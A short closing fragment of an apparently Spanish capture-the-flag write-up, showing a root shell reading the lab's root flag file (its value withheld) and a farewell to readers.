bash-4.4# cat /root/root.txt
<omitido>

Gracias por llegar hasta aquí, hasta la próxima!